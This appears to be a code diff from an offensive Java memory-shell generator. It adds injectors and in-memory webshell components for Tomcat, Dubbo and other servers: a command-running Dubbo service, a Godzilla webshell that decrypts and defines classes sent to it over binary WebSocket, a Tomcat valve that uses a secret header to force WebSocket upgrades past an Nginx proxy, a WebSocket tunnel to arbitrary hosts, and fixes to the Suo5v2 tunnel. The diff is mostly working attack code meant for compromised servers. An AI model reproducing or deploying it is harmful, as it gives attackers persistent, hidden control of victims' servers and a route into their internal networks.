+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -6,10 +6,12 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.management.ManagementFactory;
-import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -7,11 +7,9 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.management.ManagementFactory;
-import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -6,7 +6,6 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;

generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java

@@ -0,0 +1,15 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
+import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
+
+public class Dubbo extends AbstractServer {
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
+                .addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java

@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
                 .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
+                .addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
+                .addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
                 .addInjector(UPGRADE, TomcatUpgradeInjector.class)
                 .build();
     }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java

@@ -0,0 +1,5 @@
+package com.reajason.javaweb.memshell.shelltool;
+
+public interface ShellDubboService {
+    byte[] handle(byte[] bytes);
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java

@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
 import org.springframework.web.servlet.ModelAndView;
 import org.springframework.web.servlet.mvc.Controller;
 
-import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import java.io.ByteArrayOutputStream;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.util.Scanner;
+
+public class CommandDubboService {
+
+    public byte[] handle(byte[] bytes) {
+        if (bytes == null || bytes.length == 0) {
+            return new byte[0];
+        }
+        String p = new String(bytes);
+        String param = getParam(p);
+        try {
+            InputStream inputStream = getInputStream(param);
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+            outputStream.flush();
+            outputStream.close();
+            return outputStream.toByteArray();
+        } catch (Exception e) {
+            return getErrorMessage(e).getBytes();
+        }
+    }
+
+    private String getParam(String param) {
+        return param;
+    }
+
+    private InputStream getInputStream(String param) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public Object unwrap(Object obj, String fieldName) {
+        try {
+            return getFieldValue(obj, fieldName);
+        } catch (Throwable e) {
+            return obj;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell.shelltool.command;
 
-import javax.servlet.ServletOutputStream;
 import javax.servlet.ServletRequestEvent;
 import javax.servlet.ServletRequestListener;
 import javax.servlet.http.HttpServletRequest;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

@@ -1,7 +1,6 @@
 package com.reajason.javaweb.memshell.shelltool.command;
 
 import javax.servlet.ServletException;
-import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
 import javax.websocket.EndpointConfig;
 import javax.websocket.MessageHandler;
 import javax.websocket.Session;
-import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
 import java.util.Scanner;
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.nio.ByteBuffer;
-import java.nio.charset.Charset;
 
 import static java.nio.charset.StandardCharsets.UTF_8;
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
+import java.nio.ByteBuffer;
 
 /**
  * @author ReaJason
  * @since 2025/5/9
  */
-public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
+public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
     public static String key;
     private Session session;
     private static Class<?> payload;
 
     @Override
-    public void onMessage(String message) {
+    public void onMessage(ByteBuffer byteBuffer) {
         byte[] result = null;
         try {
-            byte[] data = base64Decode(message);
+            byte[] data = byteBuffer.array();
             data = x(data, false);
             if (payload == null || (data[0] == -54 && data[1] == -2)) {
                 payload = reflectionDefineClass(data);
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
             result = getErrorMessage(e).getBytes();
         }
         try {
-            session.getBasicRemote().sendText(base64Encode(x(result, true)));
+            session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
         } catch (Exception ignored) {
         }
     }
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
         session.addMessageHandler(this);
     }
 
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        try {
-            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
-            return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
-            return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        try {
-            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-    }
-
     public byte[] x(byte[] s, boolean m) throws Exception {
         Cipher c = Cipher.getInstance("AES");
         c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

@@ -248,8 +248,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 baos.write(bodyContent);
                 byte[] newBody = baos.toByteArray();
                 conn = redirect(req, new String(redirectData), newBody);
+                resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
                 OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-                pipeStream(conn.getInputStream(), out, false);
+                pipeStream(conn.getInputStream(), out, resp, false);
             } finally {
                 if (conn != null) {
                     conn.disconnect();
@@ -346,11 +347,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
 
         Thread t = null;
         boolean sendClose = true;
-        try {
         final OutputStream scOutStream = socket.getOutputStream();
         final InputStream scInStream = socket.getInputStream();
         final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
-
+        try {
             Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
             t = new Thread(p);
             t.start();
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isConnected()) {
+        if (!sc.isOpen()) {
-            throw new IOException("socket not connected");
+            return;
         }
 
         byte[] data = (byte[]) dataMap.get("dt");
@@ -563,9 +563,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             throw new IOException("tunnel not found");
         }
         SocketChannel sc = (SocketChannel) objs[0];
-        if (!sc.isConnected()) {
-            throw new IOException("socket not connected");
-        }
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
         int maxSize = 512 * 1024; // 1MB
@@ -582,6 +579,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 break; // no more data
             }
         }
+        if (!sc.isOpen() && readQueue.isEmpty()) {
+            performDelete(tunId);
+            baos.write(marshalBase64(newDel(tunId)));
+        }
         return baos.toByteArray();
     }
 
@@ -610,7 +611,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         return port;
     }
 
-    private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
+    private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
         try {
             byte[] readBuf = new byte[1024 * 8];
             while (true) {
@@ -624,6 +625,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 }
                 outputStream.write(dataTmp);
                 outputStream.flush();
+                if (resp != null) {
+                    resp.getClass().getMethod("flushBuffer").invoke(resp);
+                }
             }
         } finally {
             // don't close outputStream
@@ -1031,7 +1035,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
         // full stream
         if (this.mode == 0) {
             try {
-                pipeStream(gInStream, gOutStream, true);
+                pipeStream(gInStream, gOutStream, null, true);
             } catch (Exception ignore) {
             }
             return;
@@ -1065,10 +1069,17 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
                 // write thread
                 while (true) {
                     byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
-                    if (data == null || data.length == 0) {
+                    if (data == null) {
                         selfClean = true;
                         break;
                     }
+                    if (data.length == 0) {
+                        byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
+                        if (signal == null) {
+                            selfClean = true;
+                        }
+                        break;
+                    }
                     ByteBuffer buf = ByteBuffer.wrap(data);
                     while (buf.hasRemaining()) {
                         sc.write(buf);
@@ -1080,8 +1091,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             if (selfClean) {
 
                 removeKey(this.gtunId);
-            }
                 readQueue.clear();
+            }
             writeQueue.clear();
             try {
                 writeQueue.put(new byte[0]);

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java

@@ -0,0 +1,96 @@
+package com.reajason.javaweb.memshell.shelltool.wsbypass;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import javax.websocket.server.ServerContainer;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/13
+ */
+public class TomcatWsBypassValve implements Valve {
+    public static String headerName;
+    public static String headerValue;
+
+    @Override
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        try {
+            if (request.getHeader(headerName) != null
+                    && request.getHeader(headerName).contains(headerValue)) {
+                String pathInfo = request.getPathInfo();
+                String path;
+                if (pathInfo == null) {
+                    path = request.getServletPath();
+                } else {
+                    path = request.getServletPath() + pathInfo;
+                }
+                Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName());
+                if (sc == null) {
+                    throw new ServletException("Server container not found");
+                }
+                Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
+                Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
+                for (Method method : upgradeUtil.getMethods()) {
+                    if ("doUpgrade".equals(method.getName())) {
+                        addHeader(request, "Connection", "upgrade");
+                        addHeader(request, "Upgrade", "websocket");
+                        method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
+                    }
+                }
+                return;
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+        this.getNext().invoke(request, response);
+    }
+
+    private Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field declaredField = obj.getClass().getDeclaredField(fieldName);
+        declaredField.setAccessible(true);
+        return declaredField.get(obj);
+    }
+
+    private void addHeader(Request request, String key, String value) {
+        try {
+            Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
+            coyoteRequestField.setAccessible(true);
+            Object coyoteRequest = coyoteRequestField.get(request);
+            Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
+            Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
+            Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
+            Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
+            Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
+            setStringMethod.invoke(messageBytes, value);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    Valve next;
+
+    @Override
+    public Valve getNext() {
+        return this.next;
+    }
+
+    @Override
+    public void setNext(Valve valve) {
+        this.next = valve;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return false;
+    }
+
+    @Override
+    public void backgroundProcess() {
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java

@@ -0,0 +1,135 @@
+package com.reajason.javaweb.memshell.shelltool.wsproxy;
+
+import javax.websocket.Endpoint;
+import javax.websocket.EndpointConfig;
+import javax.websocket.MessageHandler;
+import javax.websocket.Session;
+import javax.websocket.CloseReason;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.AsynchronousSocketChannel;
+import java.nio.channels.CompletionHandler;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/14
+ */
+public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
+    private Session session;
+    private long messageCount = 0;
+    private AsynchronousSocketChannel currentClient = null;
+    private final ByteBuffer buffer = ByteBuffer.allocate(32768);
+
+    public ProxyWebSocket() {
+    }
+
+    @Override
+    public void onOpen(Session session, EndpointConfig endpointConfig) {
+        this.messageCount = 0;
+        this.session = session;
+        session.addMessageHandler(this);
+    }
+
+    private void readFromServer() {
+        if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
+            buffer.clear();
+            currentClient.read(buffer, session, this);
+        }
+    }
+
+    @Override
+    public void onMessage(ByteBuffer message) {
+        try {
+            messageCount++;
+            process(message, session);
+        } catch (Exception e) {
+            closeQuietly();
+        }
+    }
+
+    private void process(ByteBuffer messageBuffer, Session channel) {
+        try {
+            if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
+                currentClient.write(messageBuffer).get();
+            } else if (messageCount == 1) {
+                byte[] bytes = new byte[messageBuffer.remaining()];
+                messageBuffer.get(bytes);
+                String values = new String(bytes);
+
+                String[] array = values.split(" ");
+                if (array.length < 2) return;
+                String[] addrArray = array[1].split(":");
+
+                currentClient = AsynchronousSocketChannel.open();
+                int port = Integer.parseInt(addrArray[1]);
+                InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
+
+                Future<Void> future = currentClient.connect(hostAddress);
+                try {
+                    future.get(10, TimeUnit.SECONDS);
+                } catch (Exception e) {
+                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                    closeQuietly();
+                    return;
+                }
+                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
+                readFromServer();
+            }
+        } catch (Exception e) {
+            closeQuietly();
+        }
+    }
+
+
+    @Override
+    public void completed(Integer result, Session attachment) {
+        if (result == -1) {
+            closeQuietly();
+            return;
+        }
+
+        try {
+            if (result > 0) {
+                buffer.flip();
+                if (attachment.isOpen()) {
+                    attachment.getBasicRemote().sendBinary(buffer);
+                }
+            }
+            readFromServer();
+        } catch (Exception e) {
+            closeQuietly();
+        }
+    }
+
+    @Override
+    public void failed(Throwable exc, Session attachment) {
+        closeQuietly();
+    }
+
+    @Override
+    public void onClose(Session session, CloseReason closeReason) {
+        closeQuietly();
+    }
+
+    @Override
+    public void onError(Session session, Throwable thr) {
+        closeQuietly();
+    }
+
+    private void closeQuietly() {
+        try {
+            if (currentClient != null && currentClient.isOpen()) {
+                currentClient.close();
+            }
+        } catch (Exception ignored) {
+        }
+        try {
+            if (session != null && session.isOpen()) {
+                session.close();
+            }
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java

@@ -1,8 +1,6 @@
 package com.reajason.javaweb.probe.config;
 
-import lombok.AllArgsConstructor;
 import lombok.Getter;
-import lombok.NoArgsConstructor;
 import lombok.ToString;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java

@@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.JdkProbe;
 import com.reajason.javaweb.probe.payload.ServerProbe;
 import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
 import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
-import com.reajason.javaweb.utils.CommonUtil;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.dynamic.DynamicType;

generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java

@@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.ProbeConfig;
 import com.reajason.javaweb.probe.config.SleepConfig;
 import com.reajason.javaweb.probe.payload.ServerProbe;
 import com.reajason.javaweb.probe.payload.sleep.SleepServer;
-import com.reajason.javaweb.utils.CommonUtil;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.dynamic.DynamicType;

generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java

@@ -145,7 +145,7 @@ public class CommonUtil {
                 + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
     }
 
-    public static String getSimpleName(String injectorClassName) {
+    public static String getSimpleName(String className) {
-        return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
+        return className.substring(className.lastIndexOf(".") + 1);
     }
 }

generator/src/main/java/org/apache/catalina/Valve.java

@@ -1,25 +0,0 @@
-package org.apache.catalina;
-
-import org.apache.catalina.connector.Request;
-import org.apache.catalina.connector.Response;
-
-import javax.servlet.ServletException;
-import java.io.IOException;
-
-/**
- * @author ReaJason
- * @since 2024/12/27
- */
-public interface Valve {
-
-    public Valve getNext();
-
-    public void setNext(Valve valve);
-
-    public void backgroundProcess();
-
-    public void invoke(Request request, Response response)
-            throws IOException, ServletException;
-
-    public boolean isAsyncSupported();
-}

generator/src/main/java/org/apache/catalina/connector/Request.java

@@ -1,349 +0,0 @@
-package org.apache.catalina.connector;
-
-import javax.servlet.*;
-import javax.servlet.http.*;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.UnsupportedEncodingException;
-import java.security.Principal;
-import java.util.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/27
- */
-public class Request implements HttpServletRequest {
-    @Override
-    public String getAuthType() {
-        return "";
-    }
-
-    @Override
-    public Cookie[] getCookies() {
-        return new Cookie[0];
-    }
-
-    @Override
-    public long getDateHeader(String name) {
-        return 0;
-    }
-
-    @Override
-    public String getHeader(String name) {
-        return "";
-    }
-
-    @Override
-    public Enumeration<String> getHeaders(String name) {
-        return null;
-    }
-
-    @Override
-    public Enumeration<String> getHeaderNames() {
-        return null;
-    }
-
-    @Override
-    public int getIntHeader(String name) {
-        return 0;
-    }
-
-    @Override
-    public String getMethod() {
-        return "";
-    }
-
-    @Override
-    public String getPathInfo() {
-        return "";
-    }
-
-    @Override
-    public String getPathTranslated() {
-        return "";
-    }
-
-    @Override
-    public String getContextPath() {
-        return "";
-    }
-
-    @Override
-    public String getQueryString() {
-        return "";
-    }
-
-    @Override
-    public String getRemoteUser() {
-        return "";
-    }
-
-    @Override
-    public boolean isUserInRole(String role) {
-        return false;
-    }
-
-    @Override
-    public Principal getUserPrincipal() {
-        return null;
-    }
-
-    @Override
-    public String getRequestedSessionId() {
-        return "";
-    }
-
-    @Override
-    public String getRequestURI() {
-        return "";
-    }
-
-    @Override
-    public StringBuffer getRequestURL() {
-        return null;
-    }
-
-    @Override
-    public String getServletPath() {
-        return "";
-    }
-
-    @Override
-    public HttpSession getSession(boolean create) {
-        return null;
-    }
-
-    @Override
-    public HttpSession getSession() {
-        return null;
-    }
-
-    @Override
-    public boolean isRequestedSessionIdValid() {
-        return false;
-    }
-
-    @Override
-    public boolean isRequestedSessionIdFromCookie() {
-        return false;
-    }
-
-    @Override
-    public boolean isRequestedSessionIdFromURL() {
-        return false;
-    }
-
-    @Override
-    public boolean isRequestedSessionIdFromUrl() {
-        return false;
-    }
-
-    @Override
-    public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
-        return false;
-    }
-
-    @Override
-    public void login(String username, String password) throws ServletException {
-
-    }
-
-    @Override
-    public void logout() throws ServletException {
-
-    }
-
-    @Override
-    public Collection<Part> getParts() throws IOException, ServletException {
-        return Collections.emptyList();
-    }
-
-    @Override
-    public Part getPart(String name) throws IOException, ServletException {
-        return null;
-    }
-
-    @Override
-    public Object getAttribute(String name) {
-        return null;
-    }
-
-    @Override
-    public Enumeration<String> getAttributeNames() {
-        return null;
-    }
-
-    @Override
-    public String getCharacterEncoding() {
-        return "";
-    }
-
-    @Override
-    public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
-
-    }
-
-    @Override
-    public int getContentLength() {
-        return 0;
-    }
-
-    @Override
-    public String getContentType() {
-        return "";
-    }
-
-    @Override
-    public ServletInputStream getInputStream() throws IOException {
-        return null;
-    }
-
-    @Override
-    public String getParameter(String name) {
-        return "";
-    }
-
-    @Override
-    public Enumeration<String> getParameterNames() {
-        return null;
-    }
-
-    @Override
-    public String[] getParameterValues(String name) {
-        return new String[0];
-    }
-
-    @Override
-    public Map<String, String[]> getParameterMap() {
-        return Collections.emptyMap();
-    }
-
-    @Override
-    public String getProtocol() {
-        return "";
-    }
-
-    @Override
-    public String getScheme() {
-        return "";
-    }
-
-    @Override
-    public String getServerName() {
-        return "";
-    }
-
-    @Override
-    public int getServerPort() {
-        return 0;
-    }
-
-    @Override
-    public BufferedReader getReader() throws IOException {
-        return null;
-    }
-
-    @Override
-    public String getRemoteAddr() {
-        return "";
-    }
-
-    @Override
-    public String getRemoteHost() {
-        return "";
-    }
-
-    @Override
-    public void setAttribute(String name, Object o) {
-
-    }
-
-    @Override
-    public void removeAttribute(String name) {
-
-    }
-
-    @Override
-    public Locale getLocale() {
-        return null;
-    }
-
-    @Override
-    public Enumeration<Locale> getLocales() {
-        return null;
-    }
-
-    @Override
-    public boolean isSecure() {
-        return false;
-    }
-
-    @Override
-    public RequestDispatcher getRequestDispatcher(String path) {
-        return null;
-    }
-
-    @Override
-    public String getRealPath(String path) {
-        return "";
-    }
-
-    @Override
-    public int getRemotePort() {
-        return 0;
-    }
-
-    @Override
-    public String getLocalName() {
-        return "";
-    }
-
-    @Override
-    public String getLocalAddr() {
-        return "";
-    }
-
-    @Override
-    public int getLocalPort() {
-        return 0;
-    }
-
-    @Override
-    public ServletContext getServletContext() {
-        return null;
-    }
-
-    @Override
-    public AsyncContext startAsync() throws IllegalStateException {
-        return null;
-    }
-
-    @Override
-    public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
-        return null;
-    }
-
-    @Override
-    public boolean isAsyncStarted() {
-        return false;
-    }
-
-    @Override
-    public boolean isAsyncSupported() {
-        return false;
-    }
-
-    @Override
-    public AsyncContext getAsyncContext() {
-        return null;
-    }
-
-    @Override
-    public DispatcherType getDispatcherType() {
-        return null;
-    }
-
-    public Response getResponse() {
-        return null;
-    }
-}